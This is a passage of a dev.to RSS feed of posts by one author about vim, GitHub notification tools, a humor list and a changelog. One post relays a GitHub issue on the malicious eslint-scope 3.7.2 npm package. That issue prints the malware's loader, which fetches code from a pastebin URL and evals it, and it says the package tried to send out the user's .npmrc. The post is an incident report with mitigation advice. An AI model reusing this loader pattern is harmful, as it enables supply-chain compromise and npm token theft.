&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frteo6ixrfa8qil7rdqnn.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frteo6ixrfa8qil7rdqnn.jpg" width="480" height="640"&gt;&lt;/a&gt;&lt;/p&gt;
whatever this is 



&lt;p&gt;So, what's your stance on the general push for vim?&lt;/p&gt;

</description>
      <category>healthydebate</category>
      <category>vim</category>
      <category>editors</category>
      <category>productivity</category>
    </item>
    <item>
      <title>Tools I use to stay on top of Github's notifications</title>
      <dc:creator>Mac Siri</dc:creator>
      <pubDate>Mon, 13 Aug 2018 19:45:57 +0000</pubDate>
      <link>https://dev.to/maestromac/tools-i-use-to-stay-on-top-of-githubs-notifications-56mo</link>
      <guid>https://dev.to/maestromac/tools-i-use-to-stay-on-top-of-githubs-notifications-56mo</guid>
      <description>&lt;p&gt;In order to maintain a lively open source community, it is crucial to stay actively engaged with all issues and pull requests. Everything should be looked at and nothing should be missed, but that is much easier said than done. In the effort to stay on top of it all, here are a few apps that I use to stay sane and efficient.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;a href="https://github.com/bkeepers/github-notifications" rel="noopener noreferrer"&gt;github-notifications&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcl.ly%2F1Y2i3z3b0633%2FImage%25202018-08-13%2520at%25203.08.50%2520PM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcl.ly%2F1Y2i3z3b0633%2FImage%25202018-08-13%2520at%25203.08.50%2520PM.png" width="800" height="400"&gt;&lt;/a&gt;&lt;br&gt;
I like to think of github-notifications as an improved version of the vanilla notification page. The main highlight of this app is that it also provides a comment form. This provides a much better way to get an overview on all unread notifications.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;a href="https://octobox.io/" rel="noopener noreferrer"&gt;Octobox&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq7l14r7350wzh0utj8uh.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq7l14r7350wzh0utj8uh.gif" alt="octobox" width="760" height="360"&gt;&lt;/a&gt;&lt;br&gt;
Streamlining Github Notification into the email-like interface is an amazing way to manage notifications. Octobox provides multiple filter options along with a native search feature. They've also added an "archive" feature that allows you to hide any completed notifications.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;a href="https://workona.com/" rel="noopener noreferrer"&gt;Workona&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcl.ly%2F1b1T1f28262u%2FScreen%2520Recording%25202018-08-13%2520at%252001.17%2520PM.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcl.ly%2F1b1T1f28262u%2FScreen%2520Recording%25202018-08-13%2520at%252001.17%2520PM.gif" alt="workona example" width="800" height="400"&gt;&lt;/a&gt;&lt;br&gt;
Ever find yourself opening one GitHub issue right after another and eventually losing track of what you were trying to do? This is a relatively new tool that just came out to address that problem.  It has already improved my workflow and reduced distraction. Workona provides a cleaner way to manage tabs — instead of keeping multiple windows open, you can now create "workspaces". So far, I have 3 workspaces: one for general browsing, one dedicated to handling Octobox notifications, and one for production monitoring.&lt;/p&gt;

&lt;p&gt;These three tools have helped me a lot. Let me know in the comments if there is anything else I should try.&lt;/p&gt;

</description>
      <category>opensource</category>
      <category>tools</category>
      <category>productivity</category>
    </item>
    <item>
      <title>Virus in eslint-scope 3.7.2</title>
      <dc:creator>Mac Siri</dc:creator>
      <pubDate>Thu, 12 Jul 2018 18:04:30 +0000</pubDate>
      <link>https://dev.to/maestromac/virus-in-eslint-scope-372-13cn</link>
      <guid>https://dev.to/maestromac/virus-in-eslint-scope-372-13cn</guid>
      <description>&lt;p&gt;I came across this issue and figured I shared it here. &lt;br&gt;
&lt;/p&gt;
&lt;div class="ltag_github-liquid-tag"&gt;
  &lt;h1&gt;
    &lt;a href="https://github.com/eslint/eslint-scope/issues/39" rel="noopener noreferrer"&gt;
      &lt;img class="github-logo" alt="GitHub logo" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fassets.dev.to%2Fassets%2Fgithub-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg"&gt;
      &lt;span class="issue-title"&gt;
        Virus in eslint-scope?
      &lt;/span&gt;
      &lt;span class="issue-number"&gt;#39&lt;/span&gt;
    &lt;/a&gt;
  &lt;/h1&gt;
  &lt;div class="github-thread"&gt;
    &lt;div class="timeline-comment-header"&gt;
      &lt;a href="https://github.com/pronebird" rel="noopener noreferrer"&gt;
        &lt;img class="github-liquid-tag-img" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Favatars2.githubusercontent.com%2Fu%2F704044%3Fv%3D4" alt="pronebird avatar"&gt;
      &lt;/a&gt;
      &lt;div class="timeline-comment-header-text"&gt;
        &lt;strong&gt;
          &lt;a href="https://github.com/pronebird" rel="noopener noreferrer"&gt;pronebird&lt;/a&gt;
        &lt;/strong&gt; posted on &lt;a href="https://github.com/eslint/eslint-scope/issues/39" rel="noopener noreferrer"&gt;&lt;time&gt;Jul 12, 2018&lt;/time&gt;&lt;/a&gt;
      &lt;/div&gt;
    &lt;/div&gt;
    &lt;div class="ltag-github-body"&gt;
      &lt;h2&gt;
&lt;span class="octicon octicon-link"&gt;&lt;/span&gt;Updated blog post: &lt;a href="https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes" rel="nofollow noopener noreferrer"&gt;https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes&lt;/a&gt;
&lt;/h2&gt;
&lt;h2&gt;
&lt;span class="octicon octicon-link"&gt;&lt;/span&gt;Update from the maintainers&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://status.npmjs.org/incidents/dn7c1fgrr7ng" rel="nofollow noopener noreferrer"&gt;Incident status report from npm&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Please follow the comment by @platinumazure that gives a little insight into what happened:
&lt;a href="https://github.com/eslint/eslint-scope/issues/39#issuecomment-404533026" rel="noopener noreferrer"&gt;https://github.com/eslint/eslint-scope/issues/39#issuecomment-404533026&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;It also appears that the same code was published in eslint-config-eslint@5.0.2, which has also since been unpublished. See &lt;a href="https://github.com/eslint/eslint/issues/10600" rel="noopener noreferrer"&gt;https://github.com/eslint/eslint/issues/10600&lt;/a&gt; for more information.&lt;/p&gt;
&lt;h2&gt;
&lt;span class="octicon octicon-link"&gt;&lt;/span&gt;In the meantime&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Pin the version of &lt;code&gt;eslint-scope&lt;/code&gt; to &lt;code&gt;3.7.1&lt;/code&gt;, one way is to add the &lt;code&gt;resolutions&lt;/code&gt; to your &lt;code&gt;package.json&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;  "resolutions": {
    "eslint-scope": "3.7.1"
  }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Verify the dependency version with &lt;code&gt;yarn list eslint-scope&lt;/code&gt;. It should print out &lt;code&gt;eslint-scope@3.7.1&lt;/code&gt;&lt;/p&gt;
&lt;ol start="2"&gt;
&lt;li&gt;
&lt;p&gt;Use &lt;code&gt;package-lock.json&lt;/code&gt; or &lt;code&gt;yarn.lock&lt;/code&gt; and have it in your repo if possible. Do not upgrade to 3.7.2 even if &lt;code&gt;yarn outdated&lt;/code&gt; shows that there is a new version available.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Revoke your NPM token as suggested in the comment below &lt;a href="https://github.com/eslint/eslint-scope/issues/39#issuecomment-404496856" rel="noopener noreferrer"&gt;https://github.com/eslint/eslint-scope/issues/39#issuecomment-404496856&lt;/a&gt;. You can do the same by logging in to &lt;a href="https://www.npmjs.com/" rel="nofollow noopener noreferrer"&gt;https://www.npmjs.com/&lt;/a&gt;, selecting the "tokens" menu from the account dropdown and removing all tokens listed on the page. Make sure to recreate the relevant tokens if you hook your NPM to external services.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;
&lt;span class="octicon octicon-link"&gt;&lt;/span&gt;The issue&lt;/h2&gt;
&lt;p&gt;I don't know what the hell this is but it looks like a virus to me:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[2/3] ⠠ eslint-scope
error /Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope: Command failed.
Exit code: 1
Command: node ./lib/build.js
Arguments: 
Directory: /Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope
Output:
undefined:30
      https1.get({hostname:'sstatic1.histats.com',path:'/0.gif?4103075&amp;amp;101',method:'GET',headers:{Referer:'http://1.a/'+conten
                                                                                                                        ^^^^^^

SyntaxError: Unexpected end of input
    at IncomingMessage.r.on (/Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope/lib/build.js:6:10)
    at emitOne (events.js:116:13)
    at IncomingMessage.emit (events.js:211:7)
    at IncomingMessage.Readable.read (_stream_readable.js:475:10)
    at flow (_stream_readable.js:846:34)
    at resume_ (_stream_readable.js:828:3)
    at _combinedTickCallback (internal/process/next_tick.js:138:11)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The contents of a suspicious file:&lt;/p&gt;
&lt;div class="highlight highlight-source-js js-code-highlight"&gt;
&lt;pre&gt;&lt;span class="pl-k"&gt;try&lt;/span&gt;&lt;span class="pl-kos"&gt;{&lt;/span&gt;
    &lt;span class="pl-k"&gt;var&lt;/span&gt; &lt;span class="pl-s1"&gt;https&lt;/span&gt;&lt;span class="pl-c1"&gt;=&lt;/span&gt;&lt;span class="pl-en"&gt;require&lt;/span&gt;&lt;span class="pl-kos"&gt;(&lt;/span&gt;&lt;span class="pl-s"&gt;'https'&lt;/span&gt;&lt;span class="pl-kos"&gt;)&lt;/span&gt;&lt;span class="pl-kos"&gt;;&lt;/span&gt;
    &lt;span class="pl-s1"&gt;https&lt;/span&gt;&lt;span class="pl-kos"&gt;.&lt;/span&gt;&lt;span class="pl-en"&gt;get&lt;/span&gt;&lt;span class="pl-kos"&gt;(&lt;/span&gt;&lt;span class="pl-kos"&gt;{&lt;/span&gt;&lt;span class="pl-s"&gt;'hostname'&lt;/span&gt;:&lt;span class="pl-s"&gt;'pastebin.com'&lt;/span&gt;&lt;span class="pl-kos"&gt;,&lt;/span&gt;&lt;span class="pl-c1"&gt;path&lt;/span&gt;:&lt;span class="pl-s"&gt;'/raw/XLeVP82h'&lt;/span&gt;&lt;span class="pl-kos"&gt;,&lt;/span&gt;&lt;span class="pl-c1"&gt;headers&lt;/span&gt;:&lt;span class="pl-kos"&gt;{&lt;/span&gt;&lt;span class="pl-s"&gt;'User-Agent'&lt;/span&gt;:&lt;span class="pl-s"&gt;'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0'&lt;/span&gt;&lt;span class="pl-kos"&gt;,&lt;/span&gt;&lt;span class="pl-c1"&gt;Accept&lt;/span&gt;:&lt;span class="pl-s"&gt;'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'&lt;/span&gt;&lt;span class="pl-kos"&gt;}&lt;/span&gt;&lt;span class="pl-kos"&gt;}&lt;/span&gt;&lt;span class="pl-kos"&gt;,&lt;/span&gt;&lt;span class="pl-kos"&gt;(&lt;/span&gt;&lt;span class="pl-s1"&gt;r&lt;/span&gt;&lt;span class="pl-kos"&gt;)&lt;/span&gt;&lt;span class="pl-c1"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="pl-kos"&gt;{&lt;/span&gt;
    &lt;span class="pl-s1"&gt;r&lt;/span&gt;&lt;span class="pl-kos"&gt;.&lt;/span&gt;&lt;span class="pl-en"&gt;setEncoding&lt;/span&gt;&lt;span class="pl-kos"&gt;(&lt;/span&gt;&lt;span class="pl-s"&gt;'utf8'&lt;/span&gt;&lt;span class="pl-kos"&gt;)&lt;/span&gt;&lt;span class="pl-kos"&gt;;&lt;/span&gt;
    &lt;span class="pl-s1"&gt;r&lt;/span&gt;&lt;span class="pl-kos"&gt;.&lt;/span&gt;&lt;span class="pl-en"&gt;on&lt;/span&gt;&lt;span class="pl-kos"&gt;(&lt;/span&gt;&lt;span class="pl-s"&gt;'data'&lt;/span&gt;&lt;span class="pl-kos"&gt;,&lt;/span&gt;&lt;span class="pl-kos"&gt;(&lt;/span&gt;&lt;span class="pl-s1"&gt;c&lt;/span&gt;&lt;span class="pl-kos"&gt;)&lt;/span&gt;&lt;span class="pl-c1"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="pl-kos"&gt;{&lt;/span&gt;
    &lt;span class="pl-en"&gt;eval&lt;/span&gt;&lt;span class="pl-kos"&gt;(&lt;/span&gt;&lt;span class="pl-s1"&gt;c&lt;/span&gt;&lt;span class="pl-kos"&gt;)&lt;/span&gt;&lt;span class="pl-kos"&gt;;&lt;/span&gt;
    &lt;span class="pl-kos"&gt;}&lt;/span&gt;&lt;span class="pl-kos"&gt;)&lt;/span&gt;&lt;span class="pl-kos"&gt;;&lt;/span&gt;
    &lt;span class="pl-s1"&gt;r&lt;/span&gt;&lt;span class="pl-kos"&gt;.&lt;/span&gt;&lt;span class="pl-en"&gt;on&lt;/span&gt;&lt;span class="pl-kos"&gt;(&lt;/span&gt;&lt;span class="pl-s"&gt;'error'&lt;/span&gt;&lt;span class="pl-kos"&gt;,&lt;/span&gt;&lt;span class="pl-kos"&gt;(&lt;/span&gt;&lt;span class="pl-kos"&gt;)&lt;/span&gt;&lt;span class="pl-c1"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="pl-kos"&gt;{&lt;/span&gt;&lt;span class="pl-kos"&gt;}&lt;/span&gt;&lt;span class="pl-kos"&gt;)&lt;/span&gt;&lt;span class="pl-kos"&gt;;&lt;/span&gt;
    
    &lt;span class="pl-kos"&gt;}&lt;/span&gt;&lt;span class="pl-kos"&gt;)&lt;/span&gt;&lt;span class="pl-kos"&gt;.&lt;/span&gt;&lt;span class="pl-en"&gt;on&lt;/span&gt;&lt;span class="pl-kos"&gt;(&lt;/span&gt;&lt;span class="pl-s"&gt;'error'&lt;/span&gt;&lt;span class="pl-kos"&gt;,&lt;/span&gt;&lt;span class="pl-kos"&gt;(&lt;/span&gt;&lt;span class="pl-kos"&gt;)&lt;/span&gt;&lt;span class="pl-c1"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="pl-kos"&gt;{&lt;/span&gt;&lt;span class="pl-kos"&gt;}&lt;/span&gt;&lt;span class="pl-kos"&gt;)&lt;/span&gt;&lt;span class="pl-kos"&gt;;&lt;/span&gt;
    &lt;span class="pl-kos"&gt;}&lt;/span&gt;&lt;span class="pl-k"&gt;catch&lt;/span&gt;&lt;span class="pl-kos"&gt;(&lt;/span&gt;&lt;span class="pl-s1"&gt;e&lt;/span&gt;&lt;span class="pl-kos"&gt;)&lt;/span&gt;&lt;span class="pl-kos"&gt;{&lt;/span&gt;&lt;span class="pl-kos"&gt;}&lt;/span&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;The URL it attempts to load is &lt;a href="http://pastebin.com/raw/XLeVP82h" rel="nofollow noopener noreferrer"&gt;http://pastebin.com/raw/XLeVP82h&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Also it attempts to send my &lt;code&gt;.npmrc&lt;/code&gt; somewhere.&lt;/p&gt;
&lt;p&gt;This is version 3.7.2 that's been published an hour ago.&lt;/p&gt;

    &lt;/div&gt;
    &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/eslint/eslint-scope/issues/39" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;package managers are a surprising medium to spread viruses, especially when the virus is latched onto a dependency of &lt;code&gt;babel-eslint&lt;/code&gt; 😱&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>security</category>
      <category>news</category>
      <category>discuss</category>
    </item>
    <item>
      <title>Hey, have you heard of _____ ?</title>
      <dc:creator>Mac Siri</dc:creator>
      <pubDate>Mon, 25 Jun 2018 16:46:50 +0000</pubDate>
      <link>https://dev.to/maestromac/hey-have-you-heard-of---4h62</link>
      <guid>https://dev.to/maestromac/hey-have-you-heard-of---4h62</guid>
      <description>&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;-1&lt;/strong&gt; : Yeah I think I heard of it? Kubernetes is an Ikea lamp right?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;0&lt;/strong&gt;: No I have not heard of it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;1&lt;/strong&gt;: No I have not heard of it. Don't tell me about it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;2&lt;/strong&gt;: No I have not heard of it. What is it?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;2&lt;/strong&gt;: I think I heard of it. Please tell me more.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;2.1&lt;/strong&gt;: I think I heard of it. Please tell me more and invite me to that slack channel.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;2.2&lt;/strong&gt;: I think I heard of it? please tell me more and invite me to both the slack channel and add me as a contributor.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;2.3&lt;/strong&gt;: I think I heard of it? please tell me more and invite me to both the slack channel and add me as a contributor. In fact, I want to know more about you, your life-partner, and everything you hold dear.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;3&lt;/strong&gt;: Yeah I know what that is. I use that in all my projects.&lt;/li&gt;
&lt;li&gt;&lt;del&gt;&lt;strong&gt;4&lt;/strong&gt;: Yeah I heard of vim, but why the hell would anybody use it as their text editor? what are you, crazy?&lt;/del&gt;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;5&lt;/strong&gt;: Yeah I heard of it. I don't know how you folks keep up with all these ____.js&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;6&lt;/strong&gt;: Yeah I heard of it. Wait, you use that? Don't talk to me or my son ever again.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;7&lt;/strong&gt;: はい。Rubyは、シンプルで生産的なオープンソースの動的プログラミング言語です。エレガントな文法、自然な読書、簡単な文章&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;8&lt;/strong&gt;: Yeah, but if you are using that to solve _____, you are doing it wrong.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;9&lt;/strong&gt;: &lt;em&gt;Nods&lt;/em&gt; along with a "Mhmm".&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;???&lt;/strong&gt;: You bet I heard of it, I wrote that. I am _____ (please follow me on twitter @_____). Now tell me what you had on your mind before realizing that I am the guy that wrote it.&lt;/li&gt;
&lt;/ul&gt;




</description>
      <category>humor</category>
    </item>
    <item>
      <title>Changelog: Comment Preview</title>
      <dc:creator>Mac Siri</dc:creator>
      <pubDate>Tue, 24 Apr 2018 20:10:16 +0000</pubDate>
      <link>https://dev.to/devteam/changelog-comment-preview-2jgj</link>
      <guid>https://dev.to/devteam/changelog-comment-preview-2jgj</guid>
      <description>&lt;p&gt;Gone are the days when you are unsure what your comment will look like after you submit it. &lt;/p&gt;

&lt;p&gt;Introducing the long-awaited comment preview feature. Never again will an incorrect markdown go by undetected!&lt;/p&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F683jphtvxl9hd90m2ams.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F683jphtvxl9hd90m2ams.gif" alt="comment preview demo" width="842" height="447"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;This is also the first dev.to feature built completely through pair programming 😊&lt;/p&gt;

&lt;p&gt;If it's wonky or you like to tell us your thoughts, let us know below!&lt;/p&gt;

&lt;p&gt;Happy Coding ❤️&lt;/p&gt;

</description>
      <category>changelog</category>
      <category>meta</category>
    </item>
  </channel>
</rss>
